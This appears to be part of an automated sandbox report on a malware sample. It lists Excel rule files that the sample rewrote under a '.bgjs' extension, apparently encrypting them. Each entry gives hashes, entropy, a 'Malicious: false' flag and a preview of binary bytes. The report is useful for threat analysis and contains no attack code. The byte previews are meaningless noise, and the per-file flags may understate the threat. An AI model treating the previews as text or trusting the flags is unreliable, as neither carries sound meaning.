Preview:	<?xml.\a..F...T.).[>J....C.<...1;,qE.c..2......%H..Y}r.).\S.......[.NH.Ab.Q.U..j....c>..M...uE......P. ..b..M..^H.+m.=\...CFD\|x..I...q........;.Zl.\|..5.B...(Ej...H..-.Y9............S....4Y..V8....j..../.[6.%H...Z.&.M.H../.=-...2.._#.y....D0Se..f.A.^>{..U....).1..TiTAu.....m.8...3..t.<.......k.$.O_5.B..<q#..e.....].1.e...-m.....h..'.f../>.L..Z\......]...d^T.....[.:@r..a&.UK;....[]TB.Q..7.G.\....?.P{x.9Q..I...y.4Y:...@.j..X0.t.s.......iJdH.b.s.=......mt~.......T....Nl(.w~.W...+8I..c7&.}af..Z.q.m...1y..........m....Y..p3....`R....^.. TG.....>..q/RQ....d.3....r.^..h1.BrC...Q4>.i...1}+..K...T..rL2.s.t..Tiq.C.@.6#O.c..Uz.l...+....%..tUpS212V.fr.~L...O...Hu$z...\.....-.A......h.~.}.#..$...r....j.....\..{....T..9^....[....C;...$.....mY.8.~.......#B.Fi.VY:r:L}.E.K.c..@....~....+w{%...JI.<_`.u...#..im.4z.p.N....e).Irf!iW...<...m..ZlD.N......{x-..V...?.....EV#C.2%2u.Q{.a.5al......^.qKx%v..%.x..+X>Iw.p.[w....45..F..*.gf.m...2'w..Z.Ci'X.1...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.83329661963209
Encrypted:	false
SSDEEP:	24:orborltli7Xi7P8C5oiM+2idkTJL5ktP3Ypgg30G6vtfWchp+8tbD:Q0ltM7yT8UMpLzpW/vtTTD
MD5:	E85F5F592022F4C26FAD52A94F24D940
SHA1:	DB9AFAD19DF22423ECF546D3D4ED6798348AF099
SHA-256:	46AC7B9E0C59509DDF8577F4155A2F19CBFADD8FE9F3ADABEA93B5BAD794DE9D
SHA-512:	25485E4672901043DE78411568F3BC26D687CFF4CF93BA9DA21BAD164A24FDAE3200EF816C534FE435DF36F246FC17746D6E7935581D2BA1D9E6960DF4B5DC59
Malicious:	false
Preview:	<?xmlU.7+!.7.. .5..e....$.5..,..2=...iS.V..<..E..~.C.T.".^1.oA.V.n.g.>..D.(..?....\|.E:Q....:..M.L..]}a(....Q....u.%.M..z......sI.}.S..T`.......H.rY&.:!..zZ....qUp.N...^.....+9.q.r.:.....;......(m`w.r...../p...+Z..`.....Ae..}.V.eE..YS....w..fo.^.7..e...HJ.1.p..3J...OT?.."M.')....{.)@....Z}.N.X..L... .8~...#....WF_M.&.K...y.............BXI...\.Cf..hL`......3].7.....n.z".v.....].^......Q4.A".L...w^.Q.g..2<.....F.....a?q..G....D.....E...b+]f6j8k..g.TK4...CR;.,o.Gm.I..%B..;..q..k8H?r...\A.xS.I..o\|...C..>L.4`xd....,\|..\|.7..1=....l..(?"o.@.q.`./?.f......k........Q).f..... q^.....y'.[.7.#.C.1jk...y....#.b.e}.i......<.............OFa...n_....X.$o......}..6@_.....R...._..$-.....C.A.=.....0.?YB.g.../Z........u..{7..-9e......J....C.X.~...Y.G.C.(..U..z.....q...y.W.D.c{K....j`$...^.Zo...?J...Z4z....*...n/ X_.J.wQ..>.3.9LG{..6.,.UU...\.Q.W\|4W1\p.CF.5.V"W.k.i..X.0...X..g;..',..o.......@J.....Y..]..RM-.@..5..X..+.{+...(4.....q..1}d...J'Z]w.GV

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.933561257170684
Encrypted:	false
SSDEEP:	48:Ah6bX9Hcu7ASKmbM5kMDF/MAlClz5Wa6JdDf37aqZVfNGqUISwnlD:AgX9HXASZbM5TDF/M5x6JdDf37ai7GdA
MD5:	B7C395200F866B52D32A1971AEC6F2CE
SHA1:	010BBA1652D385C4169395C4F4AC194B517BBE1E
SHA-256:	A0A64461837397E4C1FAAA796B774969328CB679E2DA0ADDF64708279532E360
SHA-512:	C5911139BD8F89769BB4897922880640A16F4FC5450F511BC07C02E8BEA641793BC8B964E3AAE468C3421F7348F6D8510416491F4E4D62FDC00D586FE46D847D
Malicious:	false
Preview:	<?xml....IKD..H..4%i9...U.,.fBdC1@.....v...h'b<"x..q......}}d.4t.&~0.v.V.....~%T.F0s..w;...`@.-..e....'...X......MK.!..'.B.....jX^....(g..h.6EBN...[...k.Y.s.DL(.r.b.3.tG..q...6(.B.`.X..[.G.z\|.k..:......uA.\>>...M\|`..v.V.0. ..+d........Z..{..s...?\|....H...r...P.......s...R.+-..YLB...hQ..\|...% .a....g...[..u.N.k.....u..........\..mT.<....B..K;.9;.I..p[.dX.s..e.......].O.p....GK..'.Q..qfC6.]...A.[\|K...#...n..[.."....K.>.Z.L.._h....2...C.....i.L.>.:..c.n......>.......@..y.R.K5L...p...Q....=R7...............ZJ..j....@...&.....u@...j..mo.....F.?.@....o...".!.v.Z.g.}LT....... ...S`...I.z.g.R..u..H$4...J.k....<:.....\.z_(.'.a..._."..P*..]$/.f..i?.n.>IJv.v...D.c..@.Z4.8......O.{....~....l;I.Y...O.2.).;t+....C}..I.X..n.i&..Z.......3...~9...3..yk\.=~.....rT..3DF.O..`R.u....h.....0! .>R..{..0C\|.A%i.VE.vK4....Z.?...?.]O..c.....g^.H>(..y.L=}.v`/......:.hgt....m8A...P(N.........m...9h....W`..#8my6.Z.z..-oI.... .........bl.w..:21t)./3L/.U

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.882267393191453
Encrypted:	false
SSDEEP:	48:KbA9vPkykume46ak+d7jeveeBXU4vVIpGD:cfXume46aB7kBkIVp
MD5:	8821287CF746B1E231283377928ED19C
SHA1:	21CD908BFCA861F222FEB7C8691B9406ACC6FDF8
SHA-256:	0CEC4FC3757B6FED893951D28D49E916CCB6A9A12DE4EDF07A85700E5C689E7C
SHA-512:	D928CE2C7F757F72E3CD1C4CC5BB2E0557058D6F09B28294A10F2C91B524F185630DCDF7B8CC3D3693CC5F85FD88514C12151C62ABBB6691570FD5FC93FB340C
Malicious:	false
Preview:	<?xml...9.o..)A..>..... \|.u..r..D.1]FF..w6KxX)P.s.....;.%i...)...m..O].(..N9..T.i..Ar...P..4lv..N..1.......)M1.....p... ..]j3.C.PA..7..R...=.t.o..z=d!.........b...L;..\.Hx)..J..w....H.Q.ll..-..cQ.T.....'.cvU...D.i63B<..Si....... .~....}......,..lK.j`......9.8..%..(M.0.m ..]..'..$.OS"F.6.....$.z..o.M..V...?.W.p..nS.....p'..W..3}3k..I.s...&2#C..&......P..U...c.].?h...q58.{ZGA.......Yk..QL.n.j...7)."....z..%.Am.0=6.a...U.......2..".....<..rp@.B..Q..Z\.<...!._n...,.rf.:).U.8.-5......=.P]...S1.....cw:>E...../..s.X.Y{4e...F..Ob..]y6]..\.`..V.O..L..G.Gi..x..........cy...s .\...3....-. .k2!.`.!....#.V..Fis..l.....tY:..-.0e...Q{;..x"...19P..&..e..A&.^.....L.^.h./.h..\9.E[..!..w(..........j.0...z.HTm...{2..Q.{b.....i....=.d...v@&l.....%c.1...~.%AS.}.SA...`.....c....l._4.,....B....'w.q.. .........fs k../.4...<D@1.....#.X... V...&C..a'-~...K....sK....fe...<6..y...Ly..,3...`..L&%u....L...3h"...c.E.......L..c..e...Nwqt.v..rgpaH..WvQ#X\.m\|85.S..C.....D8X.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864547158828819
Encrypted:	false
SSDEEP:	48:xCHAIcmzxCNvEm+vLfLjEZV/1LSVsPUUflguD:cAlmcJh+vnjEn/1LwsU01
MD5:	A04C286480738EA7E44E8AA84F39D826
SHA1:	37CA153F3EB1DA78EE34F9572CA79550BFA7C941
SHA-256:	A395C2D587785E67525452C6EB3D53E0F1BF391E523A85771FC791EE12BED29C
SHA-512:	613A6CAF9AAFCCEC5B2E625CD8B6808F81C4ECEEFB7BA3698DE212EEA85F4E60F7BC98BC9026B254FEDEB375D40B6718901BC96DEEB02DEA238A7868FC42BC05
Malicious:	false
Preview:	<?xml.l........A....Fa.A.^.6........!..S.@e...."......)..w6.d<#.Xn....Y..n.@~B..@!..i.. -.C.y2...<.K....".L.W..V.K=i.....q.......).UV...`.i.;....O>x.H%$.0..&.(EedN..x...)l.....Q....5...j.V...4}...4.%......T..z........fbvl..AO.7.-u.^y.o.-(.f...b.6...o.....,.RLTe....<q..[.9....W=..BW.2....WA...D~+%..t%._w.....7..3X...E;R..'.......=Jq..ha{ .^..t..1j...x....9.i.y.P7Ax\w.../....=>.!^.:....2.].j...${....)T..F. .B/.\ .....2.R....>.l....h....w...ax\|......'&B..P..\|..G7.Sq....3o^JXUTZ...#...T..In.....^......J^....+....R..gu...V...K...........[.w.b..$..e.Q....).,...Q^..Ve..,DW..B0.h(...Y.a.7..Flu&.u.j.... Mb.+.u.I..F>.....5.zh.....n.9....^..........BF9.t..C..T>..'.... {...g.P.Ii..A...^{$...E.d.&1~....J/.......&...fr....j.6...e. .x..lQ.9P...x.....9..B..f...F.~...7.e..xO.R..kj..2...d.)p..\..>).8.hm...w."2.j.....+.{.z.....xS...A...25!W...6u\|ox..n.aq..l..t.C.$.ckRp....^O..1.h...}L.x._".2>.N..7..4..~.. ..>.a..\k..7...WUy<.T..t.U..`BW\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.931372088061056
Encrypted:	false
SSDEEP:	48:OhjzIB9Gqsp62OG+PyoGXAQyGY6ngle+0zo/XkSkI8ZeiAeVg/oz4hD:OzIBOtOyoGXXNx+e+yo4ZyX/oz4J
MD5:	F0E9034E761D9576988E46F1EA5537D7
SHA1:	E32EF47693AC7FF58DA3AEFCEA2DA53FC189CD34
SHA-256:	DDC570FE177C7DFA08438763260447C8961C667FD2EA0AFD155484BBBFCF536A
SHA-512:	EBD0C0078F8011631C9CE2F3FE750450A2F8E6ED30BBEE82DD5A8D4385F1954887E1A965E4FBF3BA8A4389A2D1B26F5C5B915D5107AF265C68D99B44F97422CA
Malicious:	false
Preview:	<?xml#y.8.r.v...."..%....1.(.U..q..T.A?......f........u..y..Y..r3.$Z..u.j!].k..5Z..I.r.yK2..x...4..`[..;..2.]gL;..<..(.}.r'....J.....Y?.Y.."........oW.lP.%.nX.....v....iAg...8.vCHc$.]..I.g@.a4..V.J.......J{....:..&.d..~.;._.P......s.6.v6.nP-..peK../V......s...I..a.Si ..mm...g..X.a../..a.)....&....3.O.A..F%d..Q..$.q..............b..R.hb....<....:. ....%~.."m.c'7..C..2Vv.F.4y.....$.S.ldM%..F...Bw.........)<I..N....Q\.n.....)9..aS...x..,2..q}P....k...6.i~V..1.E..-.{..~6......*g..1...jn...V9..@l..{r.Yc.N.l...F...o...K..!K.m Y..k!6.....,.<4RGL.U./,K......x.....t/.P...l.@.....`%(.4P.X...b.z...E.M2....2.+....H..Cx).x.M..=j..KC..Lj.t..(b=.W%P.....^...E.u........7.yT.t..m.f..vW..s...@.{h......Z....eaj...P@..d....i...C......a._../....1..f...t.R...........b3..+.jM..3..u2...C...A.."....@.[.F.s.2.."...b1.........21..u.-...V.B.RMo.A.#....0.7......On...t.t.~.....2......:.UN..p.0......7.".......E..jf.......M({r.....UF.+.....0...k..~...)...r.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.959965177681484
Encrypted:	false
SSDEEP:	96:MSkJ68gg6sXzjZ4QR+TY+tKPvqabOVwo11qPnhSyqPW:sJ6dg1XZ4QRwtKX9KVPmnhSpPW
MD5:	ABE847D8DF9630D72C3C815E845E6177
SHA1:	5B8E00E5B4B5202892B4BB49CA6D9B2B8F99D7EB
SHA-256:	F12C16DE822CD137476F2E5C21ABB6FEA4A1345C62E6E32454EAFA31BCFA524C
SHA-512:	9F6C7C990D99CF7084BDA586809DD1F0393C1E6AF4BEE361B23C9D8826CC707E785259DE4E25F2EA5EF5B55C532CA40EF4BE1EC29D56CD5813E2983D7932A8BB
Malicious:	false
Preview:	<?xmlk...3.Ve^4b$U...7..gb....88bHK.....j.:...3.{.JXwR..:@H.9..eU.u...^...7..T.` ..6.U@...e.%.H.v.H.3L...~.....P...o.S...<....6...su.y0eW.2.M.m#<...S0...W..9.?5na.Jl.i..c..Bi-w.Aa.o..4.=.ZA..gX.........@..l:.I.:-.@S...h..~...%~Qz..P..r.0..L\|.3.....YI...;.s.\e..N.K.zB.R......%.%.~..'.V?.a."....Lh.W.7E...0....xn.h.../.e......<1M.?,..c.YW.(uho..>.V..M....iL.@.........;..]....+...W..\|...9_G.....n.=.f......n4..B.....8x.....1.n.UBh..y.......2g....."...^^..@..\,Qu!.7.......:.lf.....tV.O>n&2.CC..C..+...~...py...+pM.sP.E&..&;7s.kz..@.[..m}.T]..f...o..q2...[ c..N...;C.%.t..G..q..C+.:n..fp...)5BM}3.8.J.C.`c..)...$..k\|.j.U<>.!-.A.%../...[...a.........R.'..g..n-7K._..CK..!...?...VH...H.q..../...m..A.L..../.m.-.*L?X.%.B......-..(..U!...W.Q......O...\.i.4#iP.?...Ut[....A..'\|.........\b..B?...46..."3x.."_.:,K...u.....C.....h.".Q.{:n..B.#..d_[..kf+1....K..X......T.x...l..B8K'....,...D......K.....7lj....fh...sv..A....m....DtjMsz\|...l...6.(jK...".Pz...t.`X.>Kj.E.d.j.T.G ...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.980616274304315
Encrypted:	false
SSDEEP:	192:b2P5sBU44Un0rqRRzD5MYNJCCLFuJho0KyatmwUcl6B/BgjJtgbfN:+5sBU8XRRzN/CBho0KyGm3/OrAfN
MD5:	4470D51AA97C77510F8AC4637326CB0F
SHA1:	22F77D2379D6D5ADB44D515B877ABACDE6F57614
SHA-256:	7E1250F9CF8ED313D2F39D7A1E13FF8615F9BD713046331C4086FCFA6188519F
SHA-512:	BA9EC8F9208E06171C3D0CB604AF1997EC45B77AF121F813565752A8C5F33EE5FFC65A242B2B7E2676D3C0036169F3992428EFC6FE618DE7B612FEE4C3943787
Malicious:	false
Preview:	<?xml=.fc.\|`..j.U.4.yc.H..2F...&y.gX..4.s....:.bL....w...r.Q.....bKK\.....N...$.aqQT{W ......rjMm~VBn...BU....oI....b...[/..@......l.S[}x..$..k........7..-32......h.:.D.I..../n'l..t..vzX2G.\.aA...%...4x....btW...v....8!\|...$.v....Ua;^..>..w.Q.lJ...../...T......f#.p.&......6s....>h...K .U.$<H...e...2. ...Z)0a?...e+.......LM,.0.2..:.y....D9:...j...$.x...$....AL.w... mI....l.f...L3\|0~Mjv...._.."..$..fh..\|....._gl.,......}.8..O.!"...Y.....OG2^...4..m.Wi....[..<-...7Bb.9hd.j07K....q..uz.........9.q..i.YKSh....m'3.GN....H...r#..a..........^...q.....L.z."......?.\|.....N..`~~o]..v`f.T.H.1d....1W.S..ubH.<..X.[.....h.F#k-Vm...S..@G!l.?...S..W...z.._.+Z..} ..o.j..~...Z..\|K...\.......t...w...........z.O...FB..O..a.......r.E...e.m.Pq.q....N...p\|~+....x.y...J5........O....l...<.Z...L.0.....\|)...fR..U./UI.JY......+..Ay...Z.C.NN"C6".H?(k.-.q..T.V.[....%...5./J..r.)...r..<.4........2s......2.....]..U...o...>..8....v....PC..:s..h..XB...(V..J. >.#._e.W

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9439916287253745
Encrypted:	false
SSDEEP:	96:8dKU8t0vYxegfe4FL/sfgNrAteEKc/iKGQl5UwM7eX0mG:s8tKIegn/t5ueaFlsCEmG
MD5:	7FCD32145FB71E1E390968A6D40955EC
SHA1:	DBD9433D1B24B6C3842CD5EBEAE8D8705EA197BE
SHA-256:	4A30469F773FFC8E05DD3E24CE65E1772D7EFEC6D1B6DFF427D16F5F3F59FC8F
SHA-512:	AB5A3E0686300895ECE757C944FA4FEBC730A4C83A963C5FD16E397BC7A5C584DEBDB1E202147FC1615E9E818443909347C5B0E85FF75C9EEB2909DBAB0224BE
Malicious:	false
Preview:	<?xml.E4..W.\|....s..t.<SH....\.>.x......>h...O...[..j\|.o......2.~...\|.)7.Z....%.....D.......>...7.o.X...k..}w2uw9^.C..!!.W..c{}5...^..U......_%{zm.y.!9...t...=..z.\|...=xY>.r}.......L...$.......lU....]GW.(@sM1 .h5...g..-$k.[.a..&3..z.......\"Q.I_Hp-....b.#v..U.`.L.?&..<'.tWA...K.......nW_z........,.{.._..?..ZD,rGZPI`..~...?F.L..2mF.2hA.K..............n..M......I..:/{.GM....r 1.x.]...7... _D ...V~}~...xc9j.d....:}.GEm......EK.."..PA.....)."5!.K..0X&....eB........j....^.i."X..).......w...[...........s...\..C..9.&..q.?.Q..a.\0Z\|.0....eo....c......`Q....DI.2?@..U.I.j.+.....M......aS....C.......d.....(2K9,L#g......p.;.Oi.OHG..... ..._.c...G..'@[.(.S....f'b.#[I..']7K.8p.#....Js.Jg^...T....C...8.;=.r...c.1.**..!TMV.cs....9/...M..,+!..'4s.b..YyM......x4...<}.v_wu...V..9.kf......>....K.=v..#/.kc..s.M)....1..`<..4;.......y......F..A..Be......Z..4...[.=..a..]..u.N....Z.c.(..~]..s~.."..b.65B..=..`m.....b.P.4..=.U.\F.....'...V..K+.<.q`

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.93864232492343
Encrypted:	false
SSDEEP:	96:w1dJIlJQaFn3A6TLcpIFHXaV2VoPBN4jLC:UI34yLGIFE2CpN4S
MD5:	23D74B19AD71F223FD0F4C01C64D9E30
SHA1:	2A521627B56BBBB3B9EFF934314AB4645D7C6BC5
SHA-256:	D4A5177F12FE4F62BB197B4A2B6DF6CC5E423D0CDBCF45E5F363C3CEF6EC5ED8
SHA-512:	DB658D8A1F32C268CF2AEC14C3A784A755C5C2A487A0BA9F2BF7E35BD61AC509ECD30A198FB7AB229AF6262AE3B10B107D711A765BE8E6A904515FA47A2D7587
Malicious:	false
Preview:	<?xmld+....t..8.B..\|.......hY...nL.Lv.....~Sdtt.%9]R..7..;.I]......,BU....O..8>B?F.$.L..x........=.$=.r..Y;.d.7.dmz.....v..."Q.{..lW:...S..^.>O.)..b.N:T.9.5vB$O.+....#F.1./\z.."...s.......D0)....V.C{f/....Q....^X....z..$;w....."A.o.2^...9../_].<c.x...+....#....n.L..@..].QF-.M...2...c.M..........u.ox.n..%....66.aw...G.../0...D......a./.=DB....)'......Vhv.....M.\..9.c.'9.....O...S.-.=`..+9.....g^n..;}....!CBYo33\...r...3T..Qq....~FXk.....`.%..;u..?.....a..[..j.N...hf..y..K.......h..2..YZ.....E..`.",..`. .Kr..OD..a^.U..lp..D. T^M?);j..A...}.sg.K).~aA..hv..../&..,.z..\|...6.@9<.p..76...MM.....<.....B}0&U..).{....h..........\.1....x1.;yX.w..Mg!G6R...Wgn.ekd.ZU...z7b....9......r?..&&.......&.....I.`..mR...K.'...1iBy.....T>".2j....)..qn.<..+$"...e...........d.2f..O3$....x(.Oj..6.......K....nS......J_..~....`0)..bUNWM.^N../.D.4....PT?.1.u..3...X.w..Y.y.....y.gv.Y...]4.7.w2...i...H....w..aa?.Xu.l.X....5.!...(.o.{....&F1..wD.@..z..l)...9E....J.f.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.928929138153322
Encrypted:	false
SSDEEP:	48:2l1dIPkatqrUsAe6thrpEWcY8UMRkYbu6r33k5VhFXUzpSjugIpPR45W45BbXnq6:S1KPk6qAsAe6thrpEWqRVq5VckjufX4n
MD5:	7C2C581F2B00D1E3D9287A772A8C0B6D
SHA1:	C5D83A2B5FE997ED2A7C086997EDB8CFED155292
SHA-256:	145D318F3E0E2F146BD3E26BC1D9568F1C964568B9527024AF44D75B7011FBC4
SHA-512:	F8C2A334897C5EF47667AA7AF5D7D8361378C193C33AC3641A8C44961738BD9AD10ABF14CD12D8B2FF62AD9B84234BED6001016576F12353CC31ED55095DA458
Malicious:	false
Preview:	<?xml../..n.a..0nUK.[.?.M8..@Wnu.\|).-?.=.y.$...8.x......X..%...%....~..3.8d...1.I...".X..{...,..:..\...V..M(`}......F....p?....N..q...q1....6....j..:NU..a...[C.v..F.....9vl....]...L.-....w^....hH....t.oX...oZ$...(..$7.<Q.].....\|.O.Y-.y.B`g%U.bL.t...1,.>..!.#T.A..{._A..../\....B~$.S'....XC.T.....m....[.Xw.y....x.\....74.R...^..:..7.U......U.....].[.92.(...p..XC...TMx...M..@......`..X..&....3....a.".xK.. .q....OD:...QSehb..o..d..... .9..d..bs.h)-.h..q...Wk.&.o$....[.^.Mq.:..(.3.)2.H. .q.!(...l.wk...].....<.k..k...X...$5.l.....r.9..B.-J..Y.#P.fJ....G..7....K......l$....C...9s.Z..6.........u..._.A...o....e.....M\|....[..~F.P:.....@Y..]..b..O.._.......e..v.v.X ?.N[....8........S.).......G...3 ....sf&4.ss..v.Rz.(.\.J....+N.b..2..M.R".\|^..y..,\..g.,h.X....p..}d.y.s.[1...B..i..M3[..=^..)....z...<..U..>........>..mwa........Z~.i..t.2...W.H\?@..M...7r...l..H.Y..2..O..mj...R......T....AjH.'u.R.N.O.5..7..2I(...W.gm.&..\|.J3B:V...y'..idE.....S.L...>..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.922105862937641
Encrypted:	false
SSDEEP:	48:7EBbciUVtHwdnPnbh44EJL2b2A+vPLg3bqOfPLD8pPpTTlbDAByfflmD:7DydnVExAuLvxRTWyE
MD5:	FB45F64FA4B79CBCA413874225C2ECD3
SHA1:	5C3B49BB425B185C98394AB1A012C8CFEAE76C51
SHA-256:	6B93A81EE9F42BA16A61FC92FFC31DF962ED2362D5E2870025ED1501D4CA570E
SHA-512:	38F131B73CAD5D0F771FD101CBB83AF4702F1F9839ACEBC238BBC9CED091AAD6DDC27FFA51B82B35E2C35124F3EEE44659DC150DC872CC8F751F14281B344996
Malicious:	false
Preview:	<?xml.ZZ..,r..6..1j1S....6=h.;r.0h5...i.O.tL...}...C....]W.L......n....s...Q}3..y{.;..U..9.}....L..t/4......t.y.<D...k..........f_.9wXsxb.........V.{W\...v..'\..e.l4.&..R.)..Y..Z .l.`,..n,F.Lch.....wt.r.D..0...9...."_.Q..UZ..O.sF..U.&.}<.K...@2......[7...EjUJ..[..n...W..CcpY..3.._..?....?%/x.A\..*'..../#.."lS.=@...\|\i.\|.+Om.s.vV.c.N......nm+..lA.;,D...R....&\...H..I.x{...Gj.... ...oI..C{.;.6...."JU.....Xm^...U.? ....L<.....6.#~o........# M.Wf%./N.y....J:.T[e.._..[...,.+\|.[.....;.Y);g..+.=..;V..A..OR...B/.... ...dq9..:4X.Y..;@[.~...G%..{.\.g.....?.`<\|.x.8.8`p.a.8].....~.L,0.a.4......Ci=..h$...=.`....]A.-.o..V..AD....`....>%........:......o[.$<..].%.....s3!k..mCx.9.J......l..v...Br.$')]\.r....}R'S..P.....P$mX.:p...T..Z.....WO>..[> a{.Y....1N.u...._...I;.'....J%...!....M.B.9.E.."[._..)........u..7$..X.:.V....<..p_.QZ.d..T..`,j.OB~A..b[..\9.....q....H.]..7.1&.....lq}.t..1QR...j.0.g...p..q....S.>.Tf5..~.?..{..}y.e.L..-......_.X.........B.'.@.IV

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.703224404641032
Encrypted:	false
SSDEEP:	12:+hz3fXtLIpisvhQf9DuuePQIbyPPByJaz6eJNUFqQp1USW/JS9wLMotsGI1+ciik:QftDsvGfmQIEpKaz6ecFvMSISql1jbD
MD5:	C1CC0DEA2CA0C14FA021383A90D9694F
SHA1:	14B8F3A56FA8A80405E9B5EB277D892321DCA735
SHA-256:	231B6F0556339FDF380288C6B12605FCD138CC170773C8D4BBCC539B786A290A
SHA-512:	94373065E5EB89DC7E092D0219D6E5EF65C0776F1C59FA22C1BF6B2B6EC5BA5E0D2D4CC9051718540CFC8721EFD618D5213F4028F79A8DE23F54AE445C959066
Malicious:	false
Preview:	<?xmld.j)-zR..}.2KMB8...........g\v....3I...+F.ezm...W.Rr..dY&...$$..'Vj<!g8.?....z......?..1..........Np...q8.n...X[X#....G.Q. ._......i0[.XL......-. .g.5).;.51....{...$.4...$....h.h.0.%..<Onc...8LI.....[..7.....z6...LJY...3,zA2..Oa.d.........Vu.g.;~....}/p.S.3n,.].?...j. ._....3J..J.5....6,.\6Pz..1......."......2...u.!..T....+) u.Y...8...f..... %....2..j..U\.].e..Z........p..b.A<..t..C.....P.I.;EVT{..Gah.....D.{'./Q4@...<9Jc.......[.c..y..^..].-Yu.^.N.+......n.....>V...)..+.K.. of..;....-.dx4..b........H.....&.]t.M..0E.^...hC..}i...........(j1..RZ../.l....>....'.6r..P..7%#....;.0......5...7-p.>2.o.~.<..:......~.........4P:z8W.........-SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.817737112435069
Encrypted:	false
SSDEEP:	24:ZqURw6W/jiJhx89BJ4dli7RbgEEEnBce28fJ615KyYMt3c4o8SzzbD:Usw6WbiJhxOBulidbf9n+e28hyBYMlo/
MD5:	B3EF37A60868DE3691FBE3D592654439
SHA1:	C14AE4A0B55AAE5117054F5B20E51952A2059445
SHA-256:	1DF73C5DD771384B449500BF45F8BBAD5CEB05561402A6B0AB370F0B95751B37
SHA-512:	FCFB3249701FCAEAE4C64D4CC6907C1536C6854FB3DF261DAA5AC7F43980EC3DFF89E17EC5441BD662E3BF29A2BDF63C71643D0FA95F8F3F2294E70F383FE8E6
Malicious:	false
Preview:	<?xml..1...z.k.MI>m.p......#.ER.u\%t."O][z..=...Ir....l..m..B\.>W..`n.8.Lm.N...O''...q<...-..vx\|=..l.j...f.?.......@..Il.".if4.+9.x.'_.`>.._>~..j.%P..."..KA.U......\............N.h.L`.u.1.5...v\|..m...Hww.6HX..Z.=..9..z......G.h.0..x`O.Q.........`.E..M.9..?.Dd..!v.......R..b.).9....O........GVP....R.Vx....z.....18...$..w...V\|.. F...t<....U...@.H..H,...;.......t....\|..&..V95..G..?.j..Bg.....W'z...<..Q3...N....W.cb..k..V.O.6u.XA...^k..F.>....G.12.'...Av.dT..e....+.ro.....X..F."3.!..P.X..y......1."_.........eV.J..:.&IU.$&>......Ij..k..Y.:...{w(....b.\|.t..6...4.&..i.1Mr.......)k2.....]....C...^."T.....O}.R......~..jt.....&..t5.....2....-._..5CS.wh.,...n..7.<.S...?3..k...........5c...0.T.Ld..h..5I?.w....n..s...(..[O.....\..^.S.....\_..q.u.+FG..^$..&.&.H..D....4h..@}....(......?..4..8".PjZ..O.q .rX....;..[...5.=...;..7..G.8.5.....g.F....V32Y..B............Q..@>o.s.PN+.X..SL 3....i..lx...3[...C 8...j...H........A.G."!^.b...c.R....M<_=...I.U.E.s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.535525795507324
Encrypted:	false
SSDEEP:	12:sdIaAPgiv6AE2viEqdpdcez7ScdeTCl2k0Su3kW9TK4/NgT8tt2Gvf1+cii9a:sWanc6A6d/8TC10VkmTK44Ut24sbD
MD5:	556E00637A07F578DED72721DBCBD23F
SHA1:	91F1AFF64069282C76D7428E91E0389C1D449943
SHA-256:	3725A95521C8B97B2F17A53F7576CE8EA386C855AAC5E467C6398912B01DFE4B
